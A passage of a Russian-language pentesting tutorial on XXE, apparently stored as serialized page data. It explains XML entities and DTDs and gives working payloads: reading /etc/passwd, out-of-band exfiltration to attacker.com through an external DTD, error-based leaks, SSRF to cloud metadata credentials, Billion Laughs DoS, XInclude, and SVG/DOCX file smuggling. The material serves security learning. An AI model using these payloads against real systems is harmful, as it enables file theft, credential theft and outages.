куда.",[21,6386,6387,6388,973,6390,973,6392,6394,6395,426],{},"Это не баг в коде приложения — это дизайн спецификации XML 1998 года, который большинство парсеров поддерживают по умолчанию. Поддержка внешних сущностей была фичей, а не багом. Проблема в том, что «любой URI» включает ",[48,6389,2355],{},[48,6391,3283],{},[48,6393,2458],{},", а иногда и ",[48,6396,6397],{},"expect:\u002F\u002F",[1997,6399],{},[16,6401,6403],{"id":6402},"_2-фундамент-xml-dtd-entities","2. Фундамент: XML, DTD, Entities",[36,6405,6407],{"id":6406},"xml-сущность-entity","XML-сущность (Entity)",[21,6409,6410,6411,6414],{},"Сущность — это ",[637,6412,6413],{},"переменная"," в XML. Объявляется в DTD, используется в документе или в самом DTD.",[36,6416,6418],{"id":6417},"два-деления-сущностей","Два деления сущностей",[21,6420,6421],{},[637,6422,6423],{},"По источнику значения:",[2277,6425,6426,6439],{},[2280,6427,6428],{},[2283,6429,6430,6433,6436],{},[2286,6431,6432],{},"Тип",[2286,6434,6435],{},"Значение",[2286,6437,6438],{},"Пример",[2293,6440,6441,6456],{},[2283,6442,6443,6448,6451],{},[2298,6444,6445],{},[637,6446,6447],{},"Внутренняя (internal)",[2298,6449,6450],{},"Задано прямо в DTD",[2298,6452,6453],{},[48,6454,6455],{},"\u003C!ENTITY name \"Иван\">",[2283,6457,6458,6463,6466],{},[2298,6459,6460],{},[637,6461,6462],{},"Внешняя (external)",[2298,6464,6465],{},"Загружается из файла\u002FURL",[2298,6467,6468],{},[48,6469,6470],{},"\u003C!ENTITY name SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">",[21,6472,6473],{},[637,6474,6475],{},"По месту использования:",[2277,6477,6478,6492],{},[2280,6479,6480],{},[2283,6481,6482,6484,6486,6489],{},[2286,6483,6432],{},[2286,6485,4245],{},[2286,6487,6488],{},"Где работает",[2286,6490,6491],{},"Для чего",[2293,6493,6494,6512],{},[2283,6495,6496,6501,6506,6509],{},[2298,6497,6498],{},[637,6499,6500],{},"General entity",[2298,6502,6503],{},[48,6504,6505],{},"&name;",[2298,6507,6508],{},"В теле XML-документа",[2298,6510,6511],{},"Classic XXE",[2283,6513,6514,6519,6524,6527],{},[2298,6515,6516],{},[637,6517,6518],{},"Parameter entity",[2298,6520,6521],{},[48,6522,6523],{},"%name;",[2298,6525,6526],{},"Только внутри DTD",[2298,6528,6529],{},"Blind XXE (OOB)",[41,6531,6533],{"className":3129,"code":6532,"language":3131,"meta":50,"style":50},"\u003C!-- General entity — в теле документа -->\n\u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">\n\u003Cfoo>&xxe;\u003C\u002Ffoo>\n\n\u003C!-- Parameter entity — внутри DTD -->\n\u003C!ENTITY % file SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">\n\u003C!ENTITY % eval \"\u003C!ENTITY send SYSTEM 'http:\u002F\u002Fattacker.com\u002F?d=%file;'>\">\n%eval;\n",[48,6534,6535,6540,6545,6550,6554,6559,6564,6569],{"__ignoreMap":50},[308,6536,6537],{"class":310,"line":311},[308,6538,6539],{},"\u003C!-- General entity — в теле документа -->\n",[308,6541,6542],{"class":310,"line":98},[308,6543,6544],{},"\u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">\n",[308,6546,6547],{"class":310,"line":104},[308,6548,6549],{},"\u003Cfoo>&xxe;\u003C\u002Ffoo>\n",[308,6551,6552],{"class":310,"line":1327},[308,6553,1636],{"emptyLinePlaceholder":112},[308,6555,6556],{"class":310,"line":1336},[308,6557,6558],{},"\u003C!-- Parameter entity — внутри DTD -->\n",[308,6560,6561],{"class":310,"line":1349},[308,6562,6563],{},"\u003C!ENTITY % file SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">\n",[308,6565,6566],{"class":310,"line":1360},[308,6567,6568],{},"\u003C!ENTITY % eval \"\u003C!ENTITY send SYSTEM 'http:\u002F\u002Fattacker.com\u002F?d=%file;'>\">\n",[308,6570,6571],{"class":310,"line":1366},[308,6572,6573],{},"%eval;\n",[21,6575,6576,6579,6580,6583],{},[637,6577,6578],{},"Почему parameter entity важны:"," в blind XXE нужно собрать payload ",[637,6581,6582],{},"внутри DTD"," — прочитать файл и вставить его содержимое в URL. General entity так не может — он работает только в теле. Parameter entity позволяет подставлять значения прямо в DTD, строя динамические конструкции.",[36,6585,6587],{"id":6586},"ограничение-parameter-entities-в-internal-dtd-subset","Ограничение parameter entities в internal DTD subset",[21,6589,6590,6591,6594,6595,6598,6599,6602],{},"По спецификации XML нельзя определить parameter entity и использовать её для создания новых entity ",[637,6592,6593],{},"в том же internal DTD subset",". Это означает, что конструкция вида ",[48,6596,6597],{},"\u003C!ENTITY % a \"...\"> \u003C!ENTITY % b \"\u003C!ENTITY &#x25; c SYSTEM '...'> %a;\"> %b;"," внутри ",[48,6600,6601],{},"\u003C!DOCTYPE foo [ ... ]>"," не работает — парсер отклонит её.",[21,6604,6605,6606,6609,6610,6613],{},"Именно поэтому для blind XXE нужен ",[637,6607,6608],{},"внешний DTD"," — parameter entities полноценно работают только во внешнем DTD. Это объясняет, почему blind XXE всегда загружает ",[48,6611,6612],{},"evil.dtd"," с сервера атакующего: только в загруженном DTD-файле парсер позволяет свободно комбинировать parameter entities, создавая цепочки подстановок.",[21,6615,6616,6619],{},[637,6617,6618],{},"Исключение"," — трюк с переопределением entity из локального системного DTD (описан в разделе 4, Error-based через переопределение сущности). В этом случае мы подгружаем легитимный DTD-файл с самого сервера и переопределяем одну из его сущностей своим payload.",[36,6621,6623],{"id":6622},"dtd-document-type-definition","DTD (Document Type Definition)",[21,6625,6626,6627],{},"DTD — набор правил, описывающих структуру XML. ",[637,6628,6629],{},"Именно в DTD объявляются сущности.",[21,6631,6632],{},"Без DTD → нет объявления сущностей → нет XXE.",[21,6634,6635],{},[637,6636,6637],{},"Где может находиться DTD:",[41,6639,6641],{"className":3129,"code":6640,"language":3131,"meta":50,"style":50},"\u003C!-- 1. Внутренний DTD — в самом документе (между [ и ]) -->\n\u003C?xml version=\"1.0\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">\n]>\n\u003Cfoo>&xxe;\u003C\u002Ffoo>\n\n\u003C!-- 2. Внешний DTD — загружается по URL -->\n\u003C?xml version=\"1.0\"?>\n\u003C!DOCTYPE foo SYSTEM \"http:\u002F\u002Fattacker.com\u002Fevil.dtd\">\n\u003Cfoo>&xxe;\u003C\u002Ffoo>\n\n\u003C!-- 3. Комбинированный — внутренний + внешний -->\n\u003C?xml version=\"1.0\"?>\n\u003C!DOCTYPE foo SYSTEM \"http:\u002F\u002Fattacker.com\u002Fevil.dtd\" [\n  \u003C!ENTITY % local \"значение\">\n]>\n",[48,6642,6643,6648,6652,6656,6661,6665,6669,6673,6678,6682,6687,6691,6695,6700,6704,6709,6714],{"__ignoreMap":50},[308,6644,6645],{"class":310,"line":311},[308,6646,6647],{},"\u003C!-- 1. Внутренний DTD — в самом документе (между [ и ]) -->\n",[308,6649,6650],{"class":310,"line":98},[308,6651,3138],{},[308,6653,6654],{"class":310,"line":104},[308,6655,3143],{},[308,6657,6658],{"class":310,"line":1327},[308,6659,6660],{},"  \u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">\n",[308,6662,6663],{"class":310,"line":1336},[308,6664,3153],{},[308,6666,6667],{"class":310,"line":1349},[308,6668,6549],{},[308,6670,6671],{"class":310,"line":1360},[308,6672,1636],{"emptyLinePlaceholder":112},[308,6674,6675],{"class":310,"line":1366},[308,6676,6677],{},"\u003C!-- 2. Внешний DTD — загружается по URL -->\n",[308,6679,6680],{"class":310,"line":1452},[308,6681,3138],{},[308,6683,6684],{"class":310,"line":1465},[308,6685,6686],{},"\u003C!DOCTYPE foo SYSTEM \"http:\u002F\u002Fattacker.com\u002Fevil.dtd\">\n",[308,6688,6689],{"class":310,"line":1478},[308,6690,6549],{},[308,6692,6693],{"class":310,"line":1491},[308,6694,1636],{"emptyLinePlaceholder":112},[308,6696,6697],{"class":310,"line":1502},[308,6698,6699],{},"\u003C!-- 3. Комбинированный — внутренний + внешний -->\n",[308,6701,6702],{"class":310,"line":1507},[308,6703,3138],{},[308,6705,6706],{"class":310,"line":1515},[308,6707,6708],{},"\u003C!DOCTYPE foo SYSTEM \"http:\u002F\u002Fattacker.com\u002Fevil.dtd\" [\n",[308,6710,6711],{"class":310,"line":1525},[308,6712,6713],{},"  \u003C!ENTITY % local \"значение\">\n",[308,6715,6716],{"class":310,"line":1530},[308,6717,3153],{},[1997,6719],{},[16,6721,6723],{"id":6722},"_3-где-искать-xxe","3. Где искать XXE",[36,6725,6727],{"id":6726},"очевидные-точки","Очевидные точки",[748,6729,6730,6738,6741,6744],{},[333,6731,6732,6733,795,6735],{},"API-эндпоинты с ",[48,6734,3207],{},[48,6736,6737],{},"text\u002Fxml",[333,6739,6740],{},"SOAP-сервисы (весь протокол на XML)",[333,6742,6743],{},"Загрузка XML-файлов (конфиги, фиды, данные)",[333,6745,6746],{},"RSS\u002FAtom-импорт",[36,6748,2036],{"id":2035},[748,6750,6751,6757,6763,6769,6775,6781,6787],{},[333,6752,6753,6756],{},[637,6754,6755],{},"Загрузка SVG"," — SVG это XML",[333,6758,6759,6762],{},[637,6760,6761],{},"Загрузка DOCX\u002FXLSX\u002FPPTX"," — ZIP-архивы с XML внутри",[333,6764,6765,6768],{},[637,6766,6767],{},"Загрузка GPX"," — геоданные в XML",[333,6770,6771,6774],{},[637,6772,6773],{},"XHTML"," — HTML в формате XML",[333,6776,6777,6780],{},[637,6778,6779],{},"SAML"," — аутентификация на основе XML",[333,6782,6783,6786],{},[637,6784,6785],{},"PDF-генерация"," из XML\u002FXSLT",[333,6788,6789,1092,6792,973,6795,973,6798],{},[637,6790,6791],{},"Конфигурационные файлы",[48,6793,6794],{},".xml",[48,6796,6797],{},".plist",[48,6799,6800],{},".svg",[36,6802,6804],{"id":6803},"подмена-content-type-json-xml","Подмена Content-Type (JSON → XML)",[21,6806,6807],{},"Если приложение принимает JSON, попробуй сменить формат:",[41,6809,6812],{"className":6810,"code":6811,"language":46},[44],"# Было:\nPOST \u002Fapi\u002Fuser HTTP\u002F1.1\nContent-Type: application\u002Fjson\n\n{\"name\": \"test\", \"email\": \"test@test.com\"}\n\n# Стало:\nPOST \u002Fapi\u002Fuser HTTP\u002F1.1\nContent-Type: application\u002Fxml\n\n\u003C?xml version=\"1.0\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">\n]>\n\u003Cuser>\n  \u003Cname>&xxe;\u003C\u002Fname>\n  \u003Cemail>test@test.com\u003C\u002Femail>\n\u003C\u002Fuser>\n",[48,6813,6811],{"__ignoreMap":50},[21,6815,6816,6818],{},[637,6817,4641],{}," фреймворки (Spring, ASP.NET, Rails) часто выбирают парсер автоматически по Content-Type. Если XML-парсер включён и не захарденен — XXE.",[21,6820,6821,6822,973,6824,973,6827,426],{},"Проверяй также: ",[48,6823,6737],{},[48,6825,6826],{},"application\u002Fxhtml+xml",[48,6828,6829],{},"image\u002Fsvg+xml",[1997,6831],{},[16,6833,6835],{"id":6834},"_4-типы-xxe","4. Типы XXE",[36,6837,6839],{"id":6838},"_41-classic-non-blind-xxe","4.1 Classic (Non-blind) XXE",[21,6841,6842,6843,6846],{},"Ответ парсера ",[637,6844,6845],{},"отображается"," — содержимое файла видно в ответе.",[41,6848,6850],{"className":3129,"code":6849,"language":3131,"meta":50,"style":50},"\u003C?xml version=\"1.0\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">\n]>\n\u003Cfoo>&xxe;\u003C\u002Ffoo>\n",[48,6851,6852,6856,6860,6864,6868],{"__ignoreMap":50},[308,6853,6854],{"class":310,"line":311},[308,6855,3138],{},[308,6857,6858],{"class":310,"line":98},[308,6859,3143],{},[308,6861,6862],{"class":310,"line":104},[308,6863,6660],{},[308,6865,6866],{"class":310,"line":1327},[308,6867,3153],{},[308,6869,6870],{"class":310,"line":1336},[308,6871,6549],{},[21,6873,501],{},[41,6875,6878],{"className":6876,"code":6877,"language":46},[44],"root:x:0:0:root:\u002Froot:\u002Fbin\u002Fbash\ndaemon:x:1:1:daemon:\u002Fusr\u002Fsbin:\u002Fusr\u002Fsbin\u002Fnologin\n...\n",[48,6879,6877],{"__ignoreMap":50},[36,6881,6883],{"id":6882},"_42-blind-xxe","4.2 Blind XXE",[21,6885,6842,6886,6889],{},[637,6887,6888],{},"не отображается",". Три подхода:",[6891,6892,6894],"h4",{"id":6893},"oob-out-of-band-отправка-данных-наружу","OOB (Out-of-Band) — отправка данных наружу",[41,6896,6898],{"className":3129,"code":6897,"language":3131,"meta":50,"style":50},"\u003C?xml version=\"1.0\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY % file SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fhostname\">\n  \u003C!ENTITY % dtd SYSTEM \"http:\u002F\u002Fattacker.com\u002Fevil.dtd\">\n  %dtd;\n]>\n\u003Cfoo>&send;\u003C\u002Ffoo>\n",[48,6899,6900,6904,6908,6913,6917,6921,6925],{"__ignoreMap":50},[308,6901,6902],{"class":310,"line":311},[308,6903,3138],{},[308,6905,6906],{"class":310,"line":98},[308,6907,3143],{},[308,6909,6910],{"class":310,"line":104},[308,6911,6912],{},"  \u003C!ENTITY % file SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fhostname\">\n",[308,6914,6915],{"class":310,"line":1327},[308,6916,3181],{},[308,6918,6919],{"class":310,"line":1336},[308,6920,3186],{},[308,6922,6923],{"class":310,"line":1349},[308,6924,3153],{},[308,6926,6927],{"class":310,"line":1360},[308,6928,6929],{},"\u003Cfoo>&send;\u003C\u002Ffoo>\n",[21,6931,6932],{},"evil.dtd на сервере атакующего:",[41,6934,6936],{"className":3129,"code":6935,"language":3131,"meta":50,"style":50},"\u003C!ENTITY % all \"\u003C!ENTITY send SYSTEM 'http:\u002F\u002Fattacker.com\u002F?d=%file;'>\">\n%all;\n",[48,6937,6938,6943],{"__ignoreMap":50},[308,6939,6940],{"class":310,"line":311},[308,6941,6942],{},"\u003C!ENTITY % all \"\u003C!ENTITY send SYSTEM 'http:\u002F\u002Fattacker.com\u002F?d=%file;'>\">\n",[308,6944,6945],{"class":310,"line":98},[308,6946,6947],{},"%all;\n",[21,6949,6950],{},"Цепочка:",[330,6952,6953,6963,6971,6981],{},[333,6954,6955,6956,6959,6960],{},"Парсер читает ",[48,6957,6958],{},"\u002Fetc\u002Fhostname"," → в ",[48,6961,6962],{},"%file",[333,6964,6965,6966,6959,6968],{},"Загружает ",[48,6967,6612],{},[48,6969,6970],{},"%dtd",[333,6972,6973,6976,6977,6980],{},[48,6974,6975],{},"%all"," собирает новую сущность ",[48,6978,6979],{},"send"," с данными в URL",[333,6982,6983,6986],{},[48,6984,6985],{},"&send;"," триггерит HTTP-запрос на attacker.com с данными",[21,6988,6989,6992,6993,426],{},[637,6990,6991],{},"Инструменты для приёма:"," Burp Collaborator, interactsh, свой сервер с ",[48,6994,6995],{},"python3 -m http.server",[6891,6997,6999],{"id":6998},"error-based-данные-в-сообщении-об-ошибке","Error-based — данные в сообщении об ошибке",[21,7001,7002,7003,7006],{},"Полезно когда ",[637,7004,7005],{},"firewall блокирует исходящие"," (OOB не работает).",[41,7008,7010],{"className":3129,"code":7009,"language":3131,"meta":50,"style":50},"\u003C?xml version=\"1.0\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY % file SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fhostname\">\n  \u003C!ENTITY % dtd SYSTEM \"http:\u002F\u002Fattacker.com\u002Ferror.dtd\">\n  %dtd;\n]>\n\u003Cfoo>&trigger;\u003C\u002Ffoo>\n",[48,7011,7012,7016,7020,7024,7029,7033,7037],{"__ignoreMap":50},[308,7013,7014],{"class":310,"line":311},[308,7015,3138],{},[308,7017,7018],{"class":310,"line":98},[308,7019,3143],{},[308,7021,7022],{"class":310,"line":104},[308,7023,6912],{},[308,7025,7026],{"class":310,"line":1327},[308,7027,7028],{},"  \u003C!ENTITY % dtd SYSTEM \"http:\u002F\u002Fattacker.com\u002Ferror.dtd\">\n",[308,7030,7031],{"class":310,"line":1336},[308,7032,3186],{},[308,7034,7035],{"class":310,"line":1349},[308,7036,3153],{},[308,7038,7039],{"class":310,"line":1360},[308,7040,7041],{},"\u003Cfoo>&trigger;\u003C\u002Ffoo>\n",[21,7043,7044],{},"error.dtd:",[41,7046,7048],{"className":3129,"code":7047,"language":3131,"meta":50,"style":50},"\u003C!ENTITY % all \"\u003C!ENTITY trigger SYSTEM 'file:\u002F\u002F\u002Fnonexistent\u002F%file;'>\">\n%all;\n",[48,7049,7050,7055],{"__ignoreMap":50},[308,7051,7052],{"class":310,"line":311},[308,7053,7054],{},"\u003C!ENTITY % all \"\u003C!ENTITY trigger SYSTEM 'file:\u002F\u002F\u002Fnonexistent\u002F%file;'>\">\n",[308,7056,7057],{"class":310,"line":98},[308,7058,6947],{},[21,7060,7061,7062,7065],{},"Парсер пытается открыть ",[48,7063,7064],{},"file:\u002F\u002F\u002Fnonexistent\u002Fweb-server-01"," → ошибка:",[41,7067,7070],{"className":7068,"code":7069,"language":46},[44],"java.io.FileNotFoundException: \u002Fnonexistent\u002Fweb-server-01\n",[48,7071,7069],{"__ignoreMap":50},[21,7073,7074,7075,426],{},"→ Содержимое файла ",[637,7076,7077],{},"в тексте ошибки",[6891,7079,7081],{"id":7080},"error-based-через-переопределение-сущности-без-исходящих","Error-based через переопределение сущности (без исходящих)",[21,7083,7084,7085,7087,7088,7091],{},"Если даже ",[48,7086,6612],{}," загрузить нельзя, но есть ",[637,7089,7090],{},"локальный DTD"," на сервере:",[41,7093,7095],{"className":3129,"code":7094,"language":3131,"meta":50,"style":50},"\u003C?xml version=\"1.0\"?>\n\u003C!DOCTYPE foo [\n  \u003C!ENTITY % local_dtd SYSTEM \"file:\u002F\u002F\u002Fusr\u002Fshare\u002Fyelp\u002Fdtd\u002Fdocbookx.dtd\">\n  \u003C!ENTITY % ISOamso '\n    \u003C!ENTITY &#x25; file SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">\n    \u003C!ENTITY &#x25; eval \"\u003C!ENTITY &#x26;#x25; error SYSTEM &#x27;file:\u002F\u002F\u002Fnonexistent\u002F&#x25;file;&#x27;>\">\n    &#x25;eval;\n    &#x25;error;\n  '>\n  %local_dtd;\n]>\n\u003Cfoo>bar\u003C\u002Ffoo>\n",[48,7096,7097,7101,7105,7110,7115,7120,7125,7130,7135,7140,7145,7149],{"__ignoreMap":50},[308,7098,7099],{"class":310,"line":311},[308,7100,3138],{},[308,7102,7103],{"class":310,"line":98},[308,7104,3143],{},[308,7106,7107],{"class":310,"line":104},[308,7108,7109],{},"  \u003C!ENTITY % local_dtd SYSTEM \"file:\u002F\u002F\u002Fusr\u002Fshare\u002Fyelp\u002Fdtd\u002Fdocbookx.dtd\">\n",[308,7111,7112],{"class":310,"line":1327},[308,7113,7114],{},"  \u003C!ENTITY % ISOamso '\n",[308,7116,7117],{"class":310,"line":1336},[308,7118,7119],{},"    \u003C!ENTITY &#x25; file SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">\n",[308,7121,7122],{"class":310,"line":1349},[308,7123,7124],{},"    \u003C!ENTITY &#x25; eval \"\u003C!ENTITY &#x26;#x25; error SYSTEM &#x27;file:\u002F\u002F\u002Fnonexistent\u002F&#x25;file;&#x27;>\">\n",[308,7126,7127],{"class":310,"line":1360},[308,7128,7129],{},"    &#x25;eval;\n",[308,7131,7132],{"class":310,"line":1366},[308,7133,7134],{},"    &#x25;error;\n",[308,7136,7137],{"class":310,"line":1452},[308,7138,7139],{},"  '>\n",[308,7141,7142],{"class":310,"line":1465},[308,7143,7144],{},"  %local_dtd;\n",[308,7146,7147],{"class":310,"line":1478},[308,7148,3153],{},[308,7150,7151],{"class":310,"line":1491},[308,7152,7153],{},"\u003Cfoo>bar\u003C\u002Ffoo>\n",[21,7155,7156],{},"Переопределяем сущность из локального DTD, вставляя свой payload. Это единственный способ эксплуатации, когда исходящие соединения полностью заблокированы — никакой внешний DTD не нужен, всё происходит локально.",[36,7158,7160],{"id":7159},"_43-xxe-ssrf","4.3 XXE → SSRF",[21,7162,7163,7164,215],{},"XXE — полноценный вектор для ",[24,7165,7166],{"href":5476},"SSRF",[41,7168,7170],{"className":3129,"code":7169,"language":3131,"meta":50,"style":50},"\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\">\n]>\n\u003Cfoo>&xxe;\u003C\u002Ffoo>\n",[48,7171,7172,7176,7181,7185],{"__ignoreMap":50},[308,7173,7174],{"class":310,"line":311},[308,7175,3143],{},[308,7177,7178],{"class":310,"line":98},[308,7179,7180],{},"  \u003C!ENTITY xxe SYSTEM \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002F\">\n",[308,7182,7183],{"class":310,"line":104},[308,7184,3153],{},[308,7186,7187],{"class":310,"line":1327},[308,7188,6549],{},[41,7190,7192],{"className":3129,"code":7191,"language":3131,"meta":50,"style":50},"\u003C!DOCTYPE foo [\n  \u003C!ENTITY xxe SYSTEM \"http:\u002F\u002Finternal-service:8080\u002Fadmin\">\n]>\n\u003Cfoo>&xxe;\u003C\u002Ffoo>\n",[48,7193,7194,7198,7203,7207],{"__ignoreMap":50},[308,7195,7196],{"class":310,"line":311},[308,7197,3143],{},[308,7199,7200],{"class":310,"line":98},[308,7201,7202],{},"  \u003C!ENTITY xxe SYSTEM \"http:\u002F\u002Finternal-service:8080\u002Fadmin\">\n",[308,7204,7205],{"class":310,"line":104},[308,7206,3153],{},[308,7208,7209],{"class":310,"line":1327},[308,7210,6549],{},[21,7212,7213],{},"Все техники из SSRF применимы: cloud metadata, сканирование портов, обращение к внутренним сервисам.",[36,7215,7217],{"id":7216},"_44-xxe-dos-billion-laughs","4.4 XXE → DoS (Billion Laughs)",[41,7219,7221],{"className":3129,"code":7220,"language":3131,"meta":50,"style":50},"\u003C?xml version=\"1.0\"?>\n\u003C!DOCTYPE lolz [\n  \u003C!ENTITY lol \"lol\">\n  \u003C!ENTITY lol2 \"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;\">\n  \u003C!ENTITY lol3 \"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;\">\n  \u003C!ENTITY lol4 \"&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;\">\n  \u003C!-- ... -->\n]>\n\u003Cfoo>&lol9;\u003C\u002Ffoo>\n",[48,7222,7223,7227,7232,7237,7242,7247,7252,7257,7261],{"__ignoreMap":50},[308,7224,7225],{"class":310,"line":311},[308,7226,3138],{},[308,7228,7229],{"class":310,"line":98},[308,7230,7231],{},"\u003C!DOCTYPE lolz [\n",[308,7233,7234],{"class":310,"line":104},[308,7235,7236],{},"  \u003C!ENTITY lol \"lol\">\n",[308,7238,7239],{"class":310,"line":1327},[308,7240,7241],{},"  \u003C!ENTITY lol2 \"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;\">\n",[308,7243,7244],{"class":310,"line":1336},[308,7245,7246],{},"  \u003C!ENTITY lol3 \"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;\">\n",[308,7248,7249],{"class":310,"line":1349},[308,7250,7251],{},"  \u003C!ENTITY lol4 \"&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;\">\n",[308,7253,7254],{"class":310,"line":1360},[308,7255,7256],{},"  \u003C!-- ... -->\n",[308,7258,7259],{"class":310,"line":1366},[308,7260,3153],{},[308,7262,7263],{"class":310,"line":1452},[308,7264,7265],{},"\u003Cfoo>&lol9;\u003C\u002Ffoo>\n",[21,7267,7268],{},"9 уровней вложенности = 10^9 копий строки \"lol\" — гигабайты в памяти парсера. Экспоненциальное раскрытие → парсер съедает всю память.",[21,7270,7271],{},"Не даёт утечки данных, но полезно для:",[748,7273,7274,7280],{},[333,7275,7276,7279],{},[637,7277,7278],{},"Подтверждения обработки DTD"," — если Billion Laughs работает, парсер обрабатывает entities, можно пробовать XXE",[333,7281,7282,7285],{},[637,7283,7284],{},"DoS-атаки"," — выведение сервиса из строя",[1997,7287],{},[16,7289,7291],{"id":7290},"_5-xinclude","5. XInclude",[36,7293,7295],{"id":7294},"когда-актуально","Когда актуально",[21,7297,7298,7299,7302],{},"Ты ",[637,7300,7301],{},"не контролируешь весь XML-документ"," — только часть данных, которая вставляется в XML на сервере. DOCTYPE объявить нельзя (он должен быть в начале документа).",[21,7304,7305],{},"Пример: твой ввод (имя пользователя, комментарий) подставляется внутрь XML-шаблона на бэкенде.",[36,7307,4748],{"id":7308},"payload",[41,7310,7312],{"className":3129,"code":7311,"language":3131,"meta":50,"style":50},"\u003Cfoo xmlns:xi=\"http:\u002F\u002Fwww.w3.org\u002F2001\u002FXInclude\">\n  \u003Cxi:include parse=\"text\" href=\"file:\u002F\u002F\u002Fetc\u002Fpasswd\"\u002F>\n\u003C\u002Ffoo>\n",[48,7313,7314,7319,7324],{"__ignoreMap":50},[308,7315,7316],{"class":310,"line":311},[308,7317,7318],{},"\u003Cfoo xmlns:xi=\"http:\u002F\u002Fwww.w3.org\u002F2001\u002FXInclude\">\n",[308,7320,7321],{"class":310,"line":98},[308,7322,7323],{},"  \u003Cxi:include parse=\"text\" href=\"file:\u002F\u002F\u002Fetc\u002Fpasswd\"\u002F>\n",[308,7325,7326],{"class":310,"line":104},[308,7327,7328],{},"\u003C\u002Ffoo>\n",[748,7330,7331,7337,7343,7346],{},[333,7332,7333,7336],{},[48,7334,7335],{},"xmlns:xi"," — объявление namespace для XInclude",[333,7338,7339,7342],{},[48,7340,7341],{},"parse=\"text\""," — читать как текст (без этого парсер ожидает валидный XML)",[333,7344,7345],{},"Не нужен DOCTYPE",[333,7347,7348],{},"Работает только если парсер поддерживает XInclude (libxml2, Xerces, большинство Java-парсеров)",[21,7350,3452,7351,426],{},[24,7352,7354],{"href":7353},"\u002Fru\u002Fnotes\u002Fpentesting\u002Fportswigger-xxe-xinclude-attack","XInclude атака (PortSwigger)",[1997,7356],{},[16,7358,7360],{"id":7359},"_6-xxe-через-файловые-форматы","6. XXE через файловые форматы",[36,7362,7364],{"id":7363},"svg","SVG",[41,7366,7368],{"className":3129,"code":7367,"language":3131,"meta":50,"style":50},"\u003C?xml version=\"1.0\" standalone=\"yes\"?>\n\u003C!DOCTYPE svg [\n  \u003C!ENTITY xxe SYSTEM \"file:\u002F\u002F\u002Fetc\u002Fpasswd\">\n]>\n\u003Csvg xmlns=\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\" width=\"200\" height=\"200\">\n  \u003Ctext x=\"0\" y=\"20\">&xxe;\u003C\u002Ftext>\n\u003C\u002Fsvg>\n",[48,7369,7370,7375,7380,7384,7388,7393,7398],{"__ignoreMap":50},[308,7371,7372],{"class":310,"line":311},[308,7373,7374],{},"\u003C?xml version=\"1.0\" standalone=\"yes\"?>\n",[308,7376,7377],{"class":310,"line":98},[308,7378,7379],{},"\u003C!DOCTYPE svg [\n",[308,7381,7382],{"class":310,"line":104},[308,7383,6660],{},[308,7385,7386],{"class":310,"line":1327},[308,7387,3153],{},[308,7389,7390],{"class":310,"line":1336},[308,7391,7392],{},"\u003Csvg xmlns=\"http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg\" width=\"200\" height=\"200\">\n",[308,7394,7395],{"class":310,"line":1349},[308,7396,7397],{},"  \u003Ctext x=\"0\" y=\"20\">&xxe;\u003C\u002Ftext>\n",[308,7399,7400],{"class":310,"line":1360},[308,7401,7402],{},"\u003C\u002Fsvg>\n",[21,7404,7405],{},"Загружаешь как аватар\u002Fкартинку → если сервер парсит SVG (например, конвертирует в PNG) → XXE.",[36,7407,7409],{"id":7408},"docx-xlsx","DOCX \u002F XLSX",[330,7411,7412,7419,7425,7432,7438],{},[333,7413,7414,7415,7418],{},"Создай обычный ",[48,7416,7417],{},".docx"," файл",[333,7420,7421,7422],{},"Распакуй (это ZIP): ",[48,7423,7424],{},"unzip document.docx -d doc_extracted",[333,7426,7427,7428,7431],{},"Отредактируй ",[48,7429,7430],{},"doc_extracted\u002Fword\u002Fdocument.xml"," — вставь DTD с payload",[333,7433,7434,7435],{},"Запакуй обратно: ",[48,7436,7437],{},"cd doc_extracted && zip -r ..\u002Fevil.docx .",[333,7439,7440],{},"Загрузи на сервер",[21,7442,7443],{},"Файлы внутри DOCX, где можно вставить payload:",[748,7445,7446,7451,7456],{},[333,7447,7448],{},[48,7449,7450],{},"word\u002Fdocument.xml",[333,7452,7453],{},[48,7454,7455],{},"[Content_Types].xml",[333,7457,7458],{},[48,7459,7460],{},"_rels\u002F.rels",[1997,7462],{},[16,7464,7466],{"id":7465},"_7-проблема-плохих-символов-и-обходы","7. Проблема \"плохих\" символов и обходы",[36,7468,7470],{"id":7469},"проблема","Проблема",[21,7472,7473,7474,7477,7478,973,7480,973,7483,7486],{},"Когда парсер подставляет содержимое файла, он пытается ",[637,7475,7476],{},"распарсить его как XML",". Если в файле есть 